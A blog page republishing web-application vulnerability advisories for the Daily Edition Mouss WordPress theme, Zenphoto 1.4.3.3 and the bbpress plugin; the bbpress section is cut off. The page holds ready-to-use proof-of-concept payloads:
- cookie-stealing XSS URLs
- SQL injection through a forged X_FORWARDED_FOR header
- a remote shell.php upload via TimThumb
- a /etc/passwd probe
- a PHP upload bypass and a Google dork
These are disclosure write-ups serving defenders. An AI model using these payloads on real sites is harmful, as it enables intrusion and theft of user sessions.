MondoUnix Unix, Linux, FreeBSD, BSD, GNU, Kernel , RHEL, CentOS, Solaris, AIX, HP-UX, Mac OS X, Tru64, SCO UnixWare, Xenix, HOWTO, NETWORKING, IPV6

16Jan/130

WordPress Daily Edition Mouss XSS / Disclosure / Shell Upload

-------------------------
Affected products:
-------------------------
 
Vulnerable are all versions of Daily Edition Mouss theme for WordPress (to 
SQLi, IL, XSS, FPD and to AoF, DoS, AFU only earlier versions are 
vulnerable).
 
----------
Details:
----------
 
Information Leakage (SQL DB Structure Extraction) (WASC-13):
 
http://site/wp-content/themes/dailyedition-mouss//fiche-disque.php
 
Leakage of SQL query with tables' names (including table prefix).
 
XSS (WASC-08):
 
http://site/wp-content/themes/dailyedition-mouss//fiche-disque.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
Full path disclosure (WASC-13):
 
http://site/wp-content/themes/dailyedition-mouss/
 
Besides index.php there are also potentially FPD in other php-files of this 
theme.
 
XSS (WASC-08):
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E.jpg
 
Full path disclosure (WASC-13):
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://site/page.png&h=1&w=1111111
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://site/page.png&h=1111111&w=1
 
Abuse of Functionality (WASC-42):
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://site&h=1&w=1
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://site.flickr.com&h=1&w=1 
(bypass of restriction on domain, if such restriction is turned on)
 
DoS (WASC-10):
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://site/big_file&h=1&w=1
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1 
(bypass of restriction on domain, if such restriction is turned on)
 
About such Abuse of Functionality and Denial of Service vulnerabilities you 
can read in my article Using of the sites for attacks on other sites 
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).
 
Arbitrary File Upload (WASC-31):
 
http://site/wp-content/themes/dailyedition-mouss/thumb.php?src=http://flickr.com.site.com/shell.php
 
AoF, DoS, AFU vulnerabilities are not working in last version of the theme 
(where I've tested them). It can be due to protection against AFU hole in 
TimThumb. But they must work in earlier versions of this theme.
 
------------
Timeline:
------------ 
 
2013.01.13 - found vulnerabilities.
2013.01.14 - disclosed to the lists.
 
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

(325)

7Nov/125

Zenphoto 1.4.3.3 Multiple Vulnerabilities

[waraxe-2012-SA#096] - Multiple Vulnerabilities in Zenphoto 1.4.3.3
===============================================================================
 
Author: Janek Vind "waraxe"
Date: 03. November 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-96.html
 
 
Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Zenphoto is a standalone CMS for multimedia focused websites. Our focus lies on
being easy to use and having all the features there when you need them (but out
of the way if you do not.)
Zenphoto features support for images, video and audio formats, and the Zenpage
CMS plugin provides a fully integrated news section (blog) and custom pages to
run entire websites.
 
http://www.zenphoto.org/
 
https://code.google.com/p/zenphoto/
 
Affected versions: Zenphoto 1.4.3.3 and older
Patched version: Zenphoto 1.4.3.4
 
 
###############################################################################
1. SQL Injection in "zp-core/zp-extensions/failed_access_blocker.php"
###############################################################################
 
Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied HTTP header "X_FORWARDED_FOR"
Preconditions:
 1. plugin "failed_access_blocker" activated (disabled by default)
 
"failed_access_blocker" plugin will log every failed authentication attempt:
 
Php script "zp-core/zp-extensions/failed_access_blocker.php" line 75:
------------------------[ source code start ]----------------------------------
function failed_access_blocker_adminGate($allow, $page) {
...
 //    add this attempt
 $sql = 'INSERT INTO '.prefix('plugin_storage').' (`type`, `aux`,`data`) VALUES
   ("failed_access", "'.time().'","'.getUserIP().'")';
 query($sql);
 //    check how many times this has happened recently
 count = db_count('plugin_storage','WHERE `type`="failed_access" AND
   `data`="'.getUserIP().'"');
------------------------[ source code end ]------------------------------------
 
IP address of the user comes from function "getUserIP()" and is used in SQL
query. Let's look at the function "getUserIP()".
 
Php script "zp-core/functions.php" line 1979:
------------------------[ source code start ]----------------------------------
function getUserIP() {
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return sanitize($_SERVER['HTTP_X_FORWARDED_FOR'], 0);
    } else {
        return sanitize($_SERVER['REMOTE_ADDR'], 0);
------------------------[ source code end ]------------------------------------
 
Function "sanitize()" does following things to the input data:
 1. strips slashes if magic_quotes_gpc=on
 2. strips null bytes
 3. strips html tags
 
So we can see, that function "sanitize()" will prevent null byte tricks and
most of the XSS exploits, but it does not escape or delete single and double
quotes, therefore SQL Injection may still be possible. Actually this function
makes SQL Injection more likely to occur because it reverts effects of the
"magic_quotes_gpc". As result of such insuffient input data sanitization,
attacker can use HTTP header "X_FORWARDED_FOR" for SQL Injection.
 
Test:
 
Let's use Firefox browser with Tamper Data Add-on.
 
 1. Open admin page:
 
 http://localhost/zenphoto1433/zp-core/admin.php
 
 2. Activate Tamper data (Start Tamper)
 3. Try to log in with bogus credentials, Tamper Data triggers
 4. "Tamper with request?" -> "Tamper"
 5. "Add element" -> X_FORWARDED_FOR=war"axe
 6. Click "OK" and tampered request will go to the server
 
As result we will see blank page (OK 200 response code, content length 0).
But let's look at "debug.log" in "zp-data":
 
Backtrace: USER ERROR: MySql Error: ( <em>INSERT INTO `[prefix]plugin_storage`
(`type`, `aux`,`data`) VALUES ("failed_access", "1349792737","war"axe")</em> )
failed. MySql returned the error <em>You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right
syntax to use near 'axe")'
 
 
###############################################################################
2. SQL Injection in "zp-core/zp-extensions/search_statistics.php"
###############################################################################
 
Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied HTTP header "X_FORWARDED_FOR"
Preconditions:
 1. plugin "search_statistics" activated (disabled by default)
 
 
Php script "zp-core/zp-extensions/search_statistics.php" line 101:
------------------------[ source code start ]----------------------------------
static function handler($search_statistics, $type, $success, $dynamic,
    $iteration) {
...
 $sql = 'INSERT INTO '.prefix('plugin_storage').' (`type`, `aux`,`data`) VALUES
  ("search_statistics", "'.getUserIP().'",'.db_quote(serialize($store)).')';
 query($sql);
------------------------[ source code end ]------------------------------------
 
User's IP address comes from function "getUserIP()" and is used in SQL query.
As shown in previous case, it is possible to use HTTP header "X_FORWARDED_FOR"
for SQL Injection, because "getUserIP()" does not sufficiently sanitize
user-supplied input data.
 
 
###############################################################################
3. IP address spoofing vulnerability via HTTP header "X_FORWARDED_FOR"
###############################################################################
 
Reason: trusting spoofable input data
Attack vector: user-supplied HTTP header "X_FORWARDED_FOR"
Preconditions: none
 
We saw in two previous cases, that function "getUserIP()" can't be trusted,
because attacker can easily spoof his/her IP addresss by using HTTP header
"X_FORWARDED_FOR". Vulnerable function "getUserIP()" is heavily used in logging
functionality.
Example code lines from "zp-core/zp-extensions/security-logger.php":
 
security_logger::Logger($success, $user, $name, getUserIP(), 'Back-end',
 $auth, $pass);
security_logger::Logger($success, $user, $name, getUserIP(), 'Front-end',
  $athority, $pass);
security_logger::Logger(false, $user, $name, getUserIP(), 'Blocked access',
  '', $page);
security_logger::Logger(false, $user, $name, getUserIP(), 'Blocked album',
  '', $page);
security_logger::Logger(true, $user, $name, getUserIP(), 'user_'.$class,
  'zp_admin_auth', $userobj->getUser());
security_logger::Logger(false, $user, $name, getUserIP(), 'XSRF access blocked',
  '', $token);
security_logger::Logger($allow, $user, $name, getUserIP(), $action,
  'zp_admin_auth', basename($log));
security_logger::Logger($success, $user, $name, getUserIP(), 'setup_'.$action,
  'zp_admin_auth', $txt);
 
So we can conclude, that it is possible for attacker to spoof IP address in
Zenphoto security logs. By injecting newlines ("\n") and tabs ("\t") it's even
possible to add arbitrary fake entries to the security logs.
 
 
###############################################################################
4. File Type Restriction Bypass Vulnerability in
      "zp-core/zp-extensions/uploader_jQuery/uploader.php"
###############################################################################
Preconditions:
 1. Logged in as admin with image upload privileges
 2. "uploader_jQuery" plugin activated (active by default)
 
 
Php script "zp-core/zp-extensions/uploader_jQuery/uploader.php" line 227:
------------------------[ source code start ]----------------------------------
private function handle_file_upload($uploaded_file, $name, $size, $type,
  $error) {
...
 $error = $this->has_error($uploaded_file, $file, $error);
 if (!$error && $file->name) {
...
   move_uploaded_file($uploaded_file, $file_path);
   if (is_valid_image($name) || is_valid_other_type($name)) {
...
   } else {
     $error = UPLOAD_ERR_EXTENSION;    // invalid file uploaded
     break;
------------------------[ source code end ]------------------------------------
 
As seen above, uploaded file is first validated by function "has_error":
 
Php script "zp-core/zp-extensions/uploader_jQuery/uploader.php" line 26:
------------------------[ source code start ]----------------------------------
$types = array_keys($_zp_extra_filetypes);
$types = array_merge($_zp_supported_images, $types);
$types = zp_apply_filter('upload_filetypes',$types);
...
$options = array(
...
  'accept_file_types' => '/('.implode('|',$types).')$/i'
...
private function has_error($uploaded_file, $file, $error) {
...
 if (!preg_match($this->options['accept_file_types'], $file->name)) {
  return 'acceptFileTypes';
------------------------[ source code end ]------------------------------------
 
We can see, that "preg_match()" regex validation is used for file extension
sanitization. Example validation regex from default installation:
 
"/(gif|jpg|jpeg|png|bmp|flv|fla|3gp|mov|mp3|mp4|m4v|m4a)$/i"
 
At first look it seems to be secure - only picture and video files are allowed
to be uploaded. But if we analyze this regex little bit more, then we can spot
one fatal flaw - it does not check for dot character before file extension.
As result, it is possible to upload file named like "info.php.123png" and it
will pass through first validation, done by "has_error()". We can see, that
after "has_error()" uploaded file is moved from temporal location to the target
album directory by "move_uploaded_file()" function. After that second
validation by function "is_valid_image()" follows:
 
Php script "zp-core/functions-basic.php" line 1173:
------------------------[ source code start ]----------------------------------
function is_valid_image($filename) {
  global $_zp_supported_images;
  $ext = strtolower(substr(strrchr($filename, "."), 1));
  return in_array($ext, $_zp_supported_images);
}
------------------------[ source code end ]------------------------------------
 
We can see, that file extension is checked again and this time it is secure
validation and can't be fooled. This situation usually means, that exploitation
is not possible, but not this time. Uploaded file is already moved to the target
folder, directly accessible over HTTP and there is missing important piece of
php code, which should delete such files. What code does after failed
"is_valid_image()", is setting up error flag "UPLOAD_ERR_EXTENSION" followed by
"break". This seems to be as syntax error from programmer and will lead to php
fatal error: "Cannot break/continue 1 level". In my local testserver this means
error 500 response from webserver, but still, file is uploaded to the target
directory already and stays there, so exploitation is possible.
 
Test:
 
1. Log in as admin with image upload privileges and navigate to upload page:
 
http://localhost/zenphoto1433/zp-core/admin-upload.php?page=upload&tab=albums
 
Make sure, that "Upload handler" is "jQuery". In this test target album is
"testalbum".
 
2. Try to upload php file containing "<?php phpinfo()?>" and named as
"info.php.123png"
 
As result we can see error message:
 
"info.php.123png  0.02 KB  Error: Internal Server Error"
 
Still, despite of the error message, upload succeeded. Uploaded file can
be accessed directly, resulting in php code execution:
 
http://localhost/zenphoto1433/albums/testalbum/info.php.123png
 
 
###############################################################################
5. File Type Restriction Bypass Vulnerability in
      "zp-core/admin-functions.php"
###############################################################################
Preconditions:
 1. Logged in as admin with image upload privileges
 2. "zip_open()" function not available
 
 
Php script "zp-core/admin-functions.php" line 2565:
------------------------[ source code start ]----------------------------------
/**
 * Unzips an image archive
 *
 * @param file $file the archive
 * @param string $dir where the images go
 */
function unzip($file, $dir) { //check if zziplib is installed
 if(function_exists('zip_open')) {
  $zip = zip_open($file);
  if ($zip) {
   while ($zip_entry = zip_read($zip)) { // Skip non-images in the zip file.
    $fname = zip_entry_name($zip_entry);
    $seoname = internalToFilesystem(seoFriendly($fname));
    if (is_valid_image($seoname) || is_valid_other_type($seoname)) {
      if (zip_entry_open($zip, $zip_entry, "r")) {
        $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
...
    } else {
   require_once(dirname(__FILE__).'/lib-pclzip.php');
   $zip = new PclZip($file);
   if ($zip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REMOVE_ALL_PATH) == 0) {
------------------------[ source code end ]------------------------------------
 
We can see that when "zip_open()" function is available, then Zenphoto will read
zip entries from archieve one by one and there is as checking for file type.
Only files with whitelisted extensions are extracted to the target folder.
But in case of missing function "zip_open()" (specific lib not installed)
custom third-party library "PclZip" will be used, this time without any checks
for file extensions. So it is possible to upload zip archive with php files
inside and they will be extracted to the target album, allowing attacker to
gain php level access.
 
 
###############################################################################
6. File Existence Disclosure in
   "zp-core/zp-extensions/uploader_flash/check.php"
###############################################################################
Preconditions: none
 
 
Php script "zp-core/zp-extensions/uploader_flash/check.php" line 26:
------------------------[ source code start ]----------------------------------
$fileArray = array();
foreach ($_POST as $key => $value) {
  if ($key != 'folder') {
   if (file_exists($_SERVER['DOCUMENT_ROOT'] . $_POST['folder'] . '/' . $value)) {
     $fileArray[$key] = $value;
   }
  }
}
echo json_encode($fileArray);
------------------------[ source code end ]------------------------------------
 
Test:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/zenphoto1433/zp-core/zp-extensions/uploader_flash/check.php" method="post">
<input type="hidden" name="folder" value="">
<input type="hidden" name="test" value="../../../../../../../../etc/passwd">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------
 
Result:
 
{"test":"..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd"}
 
Attacker is able to detect file presence on remote server, because server
response is different in case of existing and non-existent files.
 
 
###############################################################################
7. Database Backup Files Unauthorized Access Vulnerability
###############################################################################
 
Zenphoto offers database backup functionality in admin interface:
 
Php script "zp-core/utilities/backup_restore.php" line 140:
------------------------[ source code start ]----------------------------------
if (isset($_REQUEST['backup']) && db_connect()) {
...
  $folder = SERVERPATH . "/" . BACKUPFOLDER;
  $filename = $folder . '/backup-' . date('Y_m_d-H_i_s').'.zdb';
  if (!is_dir($folder)) {
    mkdir ($folder, FOLDER_MOD);
  }
  @chmod($folder, FOLDER_MOD);
  $handle = fopen($filename, 'w');
------------------------[ source code end ]------------------------------------
 
We can see that database backup files are named using simple naming scheme.
Created backup files are directly accessible without any restrictions:
 
http://localhost/zenphoto1433/backup/backup-2012_10_07-19_20_15.zdb
 
As result there may be leakage of sensitive information, like admin's hashed
credentials:
 
s:4:"user";s:6:"waraxe";s:4:"pass";s:40:"123456789abcdef123456789abc...
 
There is "IndexIgnore *" directive in ".htaccess" file, so by default
directory browsing is not possible and filename must be guessed somehow,
but still there are vulnerable zenphoto installations on Internet:
 
Google Dork:
filetype:zdb inurl:backup
 
Besides, there is about 60 * 60 * 24 * 365 = 31 536 000 possible filenames
per year, so it is possible to use bruteforce method and try to guess backup's
filename.
 
 
###############################################################################
8. Reflected XSS in "zp-core/zp-extensions/federated_logon/OpenID_logon.php"
###############################################################################
 
Reason:
 1. uninitialized variables "$msg", "$error", "$success"
 2. insufficient sanitization of html output
Attack vector:
 1. user-supplied parameters "msg", "error", "success"
 2. user-supplied GET parameter "redirect"
Preconditions:
 1. register_globals=on (for parameters "msg", "error", "success")
 
 
Php script "zp-core/zp-extensions/federated_logon/OpenID_logon.php" line 38:
------------------------[ source code start ]----------------------------------
<?php if (isset($msg)) { print "<div class=\"alert\">$msg</div>"; } ?>
<?php if (isset($error)) { print "<div class=\"error\">$error</div>"; } ?>
<?php if (isset($success)) { print "<div class=\"success\">$success</div>"; } ?>
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/zenphoto1433/zp-core/zp-extensions/federated_logon/OpenID_logon.php?msg=<script>alert(123);</script>
http://localhost/zenphoto1433/zp-core/zp-extensions/federated_logon/OpenID_logon.php?error=<script>alert(123);</script>
http://localhost/zenphoto1433/zp-core/zp-extensions/federated_logon/OpenID_logon.php?success=<script>alert(123);</script>
http://localhost/zenphoto1433/zp-core/zp-extensions/federated_logon/OpenID_logon.php?redirect="+onclick=alert(123)+w="
 
 
###############################################################################
9. Reflected XSS in "zp-core/zp-extensions/federated_logon/Verisign_logon.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameter "redirect"
Preconditions: none
 
Test:
 
http://localhost/zenphoto1433/zp-core/zp-extensions/federated_logon/Verisign_logon.php?redirect="+onclick=alert(123)+w="
 
 
###############################################################################
10. Reflected XSS in "themes/stopdesign/comment_form/comment_form.php"
###############################################################################
 
Reason:
 1. uninitialized variable "$_zp_themeroot"
 2. insufficient sanitization of html output
Attack vector: user-supplied parameter "_zp_themeroot"
Preconditions: register_globals=on
 
 
Php script "themes/stopdesign/comment_form/comment_form.php" line 5:
------------------------[ source code start ]----------------------------------
global $_zp_themeroot;
?>
<p class="mainbutton" id="addcommentbutton"><a href="#addcomment" class="btn">
  <img src="<?php echo $_zp_themeroot ?>
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/zenphoto1433/themes/stopdesign/comment_form/comment_form.php?_zp_themeroot="><script>alert(123);</script>
 
 
###############################################################################
11. Reflected XSS in "zp-core/zp-extensions/cloneZenphoto/cloneTab.php"
###############################################################################
 
Reason:
 1. uninitialized variable "$msg"
 2. insufficient sanitization of html output
Attack vector:
 1. user-supplied parameter "msg"
 2. user-supplied POST parameter "path"
Preconditions:
 1. logged in as admin
 2. register_globals=on (for variable "$msg")
 
 
First XSS vulnerability is caused by uninitialized variable "$msg":
 
http://localhost/zenphoto1433/zp-core/zp-extensions/cloneZenphoto/cloneTab.php?success=1&msg[]=<script>alert(123);</script>
 
Second XSS vulnerability relates to POST parameter "path":
 
Php script "zp-core/zp-extensions/cloneZenphoto/cloneTab.php" line 62:
------------------------[ source code start ]----------------------------------
if (isset($_POST['path'])) {
  $path = sanitize($_POST['path']);
 } else {
...
$downtitle = '.../'.basename($path);
...
<script type="text/javascript">
...
  function folderChange() {
    $('#downbutton').attr('title','<?php echo $downtitle; ?>
------------------------[ source code end ]------------------------------------
 
 
Test:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/zenphoto1433/zp-core/zp-extensions/cloneZenphoto/cloneTab.php" method="post">
<input type="hidden" name="path" value="');};alert(123);function q(){var w=('">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------
 
 
###############################################################################
12. Reflected XSS in "zp-core/admin-thumbcrop.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied parameters "subpage" and "tagsort"
Preconditions: logged in as admin
 
 
Php script "zp-core/admin-thumbcrop.php" line 160:
------------------------[ source code start ]----------------------------------
$subpage = sanitize($_REQUEST['subpage']);
$tagsort = sanitize($_REQUEST['tagsort']);
...
<button type="reset"
...
   &subpage=<?php echo $subpage; ?>&tagsort=<?php echo $tagsort; ?>
------------------------[ source code end ]------------------------------------
 
Tests (parameters "a" and "i" must be valid):
 
http://localhost/zenphoto1433/zp-core/admin-thumbcrop.php?a=testalbum&i=waraxe.jpg&subpage='"+autofocus+onFocus="alert(123);//
http://localhost/zenphoto1433/zp-core/admin-thumbcrop.php?a=testalbum&i=waraxe.jpg&tagsort='"+autofocus+onFocus="alert(123);//
 
 
###############################################################################
13. Reflected XSS in "zp-core/admin-upload.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameters "folderdisplay" and "albumtitle"
Preconditions: logged in as admin
 
 
Php script "zp-core/admin-upload.php" line 306:
------------------------[ source code start ]----------------------------------
if (isset($_GET['folderdisplay'])) {
 ?>
    $('#folderdisplay').val('<?php echo sanitize($_GET['folderdisplay']); ?>');
...
if (isset($_GET['albumtitle'])) {
 ?>
    $('#albumtitle').val('<?php echo sanitize($_GET['albumtitle']); ?>');
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/zenphoto1433/zp-core/admin-upload.php?folderdisplay=');alert('xss
http://localhost/zenphoto1433/zp-core/admin-upload.php?albumtitle=');alert('xss
 
 
###############################################################################
14. Reflected XSS in "zp-core/admin-tags.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied parameter "tagsort"
Preconditions: logged in as admin
 
 
Php script "zp-core/admin-tags.php" line 14:
------------------------[ source code start ]----------------------------------
if (isset($_REQUEST['tagsort'])) {
    $tagsort = sanitize($_REQUEST['tagsort'], 0);
...
<form name="tag_delete" action="?delete=true&tagsort=<?php echo $tagsort;
...
<form name="tag_rename" action="?rename=true&tagsort=<?php echo $tagsort;
...
<form name="new_tags" action="?newtags=true&tagsort=<?php echo $tagsort;
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/zenphoto1433/zp-core/admin-tags.php?tagsort="><script>alert(123);</script>
 
 
###############################################################################
15. Reflected XSS in "zp-core/admin-users.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameter "error"
Preconditions: logged in as admin
 
 
Php script "zp-core/admin-users.php" line 406:
------------------------[ source code start ]----------------------------------
case 'format':
  echo '<h2>'.urldecode(sanitize($_GET['error'],2)).'</h2>';
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/zenphoto1433/zp-core/admin-users.php?page=users&mismatch=format&error=%253cscript%253ealert(123);%253c/script%253e
 
 
###############################################################################
16. Reflected XSS in
       "zp-core/zp-extensions/tiny_mce/plugins/tinyzenpage/js/dialog.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameter "album"
Preconditions: logged in as admin
 
 
Php script "zp-core/zp-extensions/tiny_mce/plugins/tinyzenpage/js/dialog.php"
line 50:
------------------------[ source code start ]----------------------------------
var albumname = '<?php if(isset($_GET["album"])) 
  { echo sanitize($_GET["album"]); } else { $_GET["album"] = ""; } ?>';
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/zenphoto1433/zp-core/zp-extensions/tiny_mce/plugins/tinyzenpage/tinyzenpage.php?album=';}};alert(123);var+kala={zzz+:+function(ed){var+qwe='
 
 
###############################################################################
17. Reflected XSS in
       "zp-core/zp-extensions/tiny_mce/config/zenpage-default-full.js.php"
###############################################################################
 
Reason:
 1. uninitialized variable "locale"
 2. insufficient sanitization of html output
Attack vector: user-supplied parameter "locale"
Preconditions: register_globals=on
 
 
Php script "zp-core/zp-extensions/tiny_mce/config/zenpage-default-full.js.php"
line 14:
------------------------[ source code start ]----------------------------------
<script type="text/javascript">
...
  language: "<?php echo $locale; ?>",
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/zenphoto1433/zp-core/zp-extensions/tiny_mce/config/zenpage-default-full.js.php?locale=</script><script>alert(123);</script>
 
 
###############################################################################
18. Reflected XSS in "zp-core/admin-comments.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameter "ndeleted"
Preconditions: logged in as admin
 
 
Php script "zp-core/admin-comments.php" line 279:
------------------------[ source code start ]----------------------------------
if ((isset($_GET['ndeleted']) && $_GET['ndeleted'] > 0) ||
   isset($_GET['sedit'])) {
?>
<div class="messagebox fade-message">
<?php
 if (isset($_GET['ndeleted'])) {
?>
  <h2><?php echo $_GET['ndeleted']; ?>
------------------------[ source code end ]------------------------------------
 
Tests:
 
http://localhost/zenphoto1433/zp-core/admin-comments.php?sedit=1&ndeleted=<script>alert(123);</script>
http://localhost/zenphoto1433/zp-core/admin-comments.php?ndeleted=1<script>alert(123);</script>
 
 
###############################################################################
19. Reflected XSS in "zp-core/zp-extensions/GoogleMap/m.php"
###############################################################################
 
Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameter "data"
Preconditions: none
Remarks: bypasses IE, Chrome and Safari anti-XSS features
 
Php script "zp-core/zp-extensions/GoogleMap/m.php" line 57:
------------------------[ source code start ]----------------------------------
$mapdata = base64_decode(str_replace(' ', '+', sanitize($_GET['data'])));
 if ($mapdata) {
  if (function_exists('bzcompress')) {
    $mapdata = bzdecompress($mapdata);
  } else {
    $mapdata = gzuncompress($mapdata);
  }
  $mapdata = unserialize($mapdata);
 }
...
if (is_array($mapdata)) {
  $MAP_OBJECT = new GoogleMapAPI(sanitize($_GET['type']));
...
  foreach ($mapdata as $key=>$datum) {
    $MAP_OBJECT->$key = $datum;
  }
...
  echo $MAP_OBJECT->printMap();
------------------------[ source code end ]------------------------------------
 
We can see, that user-supplied GET parameter "data" will be base64-decoded and
then decompressed and unserialized to the array "mapdata". This is followed by
creation of "GoogleMapAPI" object and after that array "mapdata" is used for
populating "GoogleMapAPI"-s members. It means, that attacer is able to manipulate
with arbitrary members of the "GoogleMapAPI" object.
 
Php script "zp-core/zp-extensions/GoogleMap/GoogleMap.php" line 304:
------------------------[ source code start ]----------------------------------
class GoogleMapAPI {
...
var $js_alert = '<b>Javascript must be enabled in order to use Google Maps.</b>';
...
function printMap() {
  echo $this->getMap();
...
function getMap() {
...
  if(!empty($this->js_alert)) {
    $_output .= '<noscript>' . $this->js_alert . '</noscript>' . "\n";
------------------------[ source code end ]------------------------------------
 
We can see that "GoogleMapAPI" member "js_alert" is used in method "printMap()".
Therefore attacker can overwrite "js_alert" with XSS payload.
 
First we need for testing serialized, compressed and base64_encoded data. This
can be obtained using php script below:
-------------------------[ test code start ]-----------------------------------
<?php
error_reporting(E_ALL);
$arr = array();
$arr['js_alert']='</noscript><script>alert(123);</script>';
$bz = base64_encode(bzcompress(serialize($arr)));
$gz = base64_encode(gzcompress(serialize($arr)));
echo "bz: $bz\n";
echo "gz: $gz\n";
?>
--------------------------[ test code end ]------------------------------------
 
Tests:
 
In case of bz compression:
 
http://localhost/zenphoto1433/zp-core/zp-extensions/GoogleMap/m.php?data=QlpoNDFBWSZTWcu%2fgEMAAA%2bbgBBguH0AAKo13AogAFRQAAADIGVNNNGmZIMBGEgGPQOa%2flg2jGWBuiGSqXfdt1NRk8QHt7GpsF8DBGJPFBvxdyRThQkMu%2fgEMA
 
 
In case of gz compression:
 
http://localhost/zenphoto1433/zp-core/zp-extensions/GoogleMap/m.php?data=eJxLtDK0qi62srBSyiqOT8xJLSpRsi62Mra0UrLRz8svTi7KLCixs4HSYHkNQyNjTWsbfaiYknUtAP1BFmU
 
 
###############################################################################
20. Full Path Disclosure in multiple scripts
###############################################################################
 
http://localhost/zenphoto1433/themes/default/theme_description.php
 
Fatal error: Call to undefined function gettext() in
C:\apache_www\zenphoto1433\themes\default\theme_description.php on line 4
 
More affected scripts:
 
themes/effervescence_plus/colorbox/functions.php
themes/effervescence_plus/simpleviewer/functions.php
themes/effervescence_plus/functions.php
themes/effervescence_plus/index.php
themes/effervescence_plus/sidebar.php
themes/effervescence_plus/theme_description.php
themes/garland/colorbox/functions.php
themes/garland/contact_form/form.php
themes/garland/functions.php
themes/garland/index.php
themes/garland/sidebar.php
themes/garland/theme_description.php
themes/garland/themeoptions.php
themes/stopdesign/comment_form/comment_form.php
themes/stopdesign/contact_form/form.php
themes/stopdesign/comment.php
themes/stopdesign/functions.php
themes/stopdesign/normalizer.ph
themes/stopdesign/theme_description.php
themes/zenpage/footer.php
themes/zenpage/functions.php
themes/zenpage/sidebar.php
themes/zenpage/theme_description.php
themes/zpmobile/comment_form/comment_form.php
themes/zpmobile/functions.php
themes/zpmobile/theme_description.php
 
zp-core/utilities/refresh_database.php
zp-core/utilities/refresh_metadata.php
zp-core/404.php
zp-core/auth_zp.php
zp-core/class-album.php
zp-core/class-comment.php
zp-core/class-gallery.php
zp-core/class-image.php
zp-core/class-load.php
zp-core/class-search.php
zp-core/class-transientimage.php
zp-core/controller.php
zp-core/functions-controller.php
zp-core/functions-i18n.php
zp-core/lib-GD.php
zp-core/lib-Imagick.php
zp-core/lib-utf8.php
 
zp-core/zp-extensions/admin-approval.php
 
many more scripts in "/zp-core/zp-extensions/" directory
 
 
Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
15.10.2012 -> Contacted developers
15.10.2012 -> Developers asked for details
15.10.2012 -> Sent details to developers
02.11.2012 -> Patched version 1.4.3.4 released
03.11.2012 -> Advisory released
 
 
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
come2waraxe@yahoo.com
Janek Vind "waraxe"
 
Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

(2463)

1Nov/120

WordPress Plugin bbpress Multiple Vulnerabilities

# Souhail Hammou - Independant Security Researcher & Penetration Tester .
# Facebook : www.facebook.com/dark.puzzle.sec
# Website : www.dark-puzzle.com
# Youtube : http://www.youtube.com/user/mariotrey
# E-mail   : dark-puzzle@live.fr
# Greetings to all moroccan researchers and white hats .
====================================================
# Exploit Title: Wordpress plugins - bbpress Multiple Vulnerabilities
# Author: Dark-Puzzle (Souhail Hammou)
# OSVDB ID : 86400 & 86399 .
# Vendor Website : www.bbpress.ru  /  www.bbpress.com
# Risk : Critical
# Version: All Versions
# Google Dork : N/A
# Category: Webapps/0day
# Tested on: Windows Xp Sp2 , Backtrack 5 R3 .
----------------------------------------------------
I - SQL Injection Vulnerability :
----------------------------------------------------
bbpress plugin is prone to an SQL injection Vulnerability .
In cases when you face a valid string column problem try to change syntax or instead spaces add /**/ .
 
Note: Automated injection can be more effective in this case.
 
Example :
 
http://www.example.com/wp-content/plugins/bbpress/forum.php?id=1&page=[Inject here]
 
---------------------------------------------------
II - Full Path Disclosure Vulnerability :
---------------------------------------------------
 
The Full Path Disclosure vulnerability in bbpress is via Array .
 
Example :
 
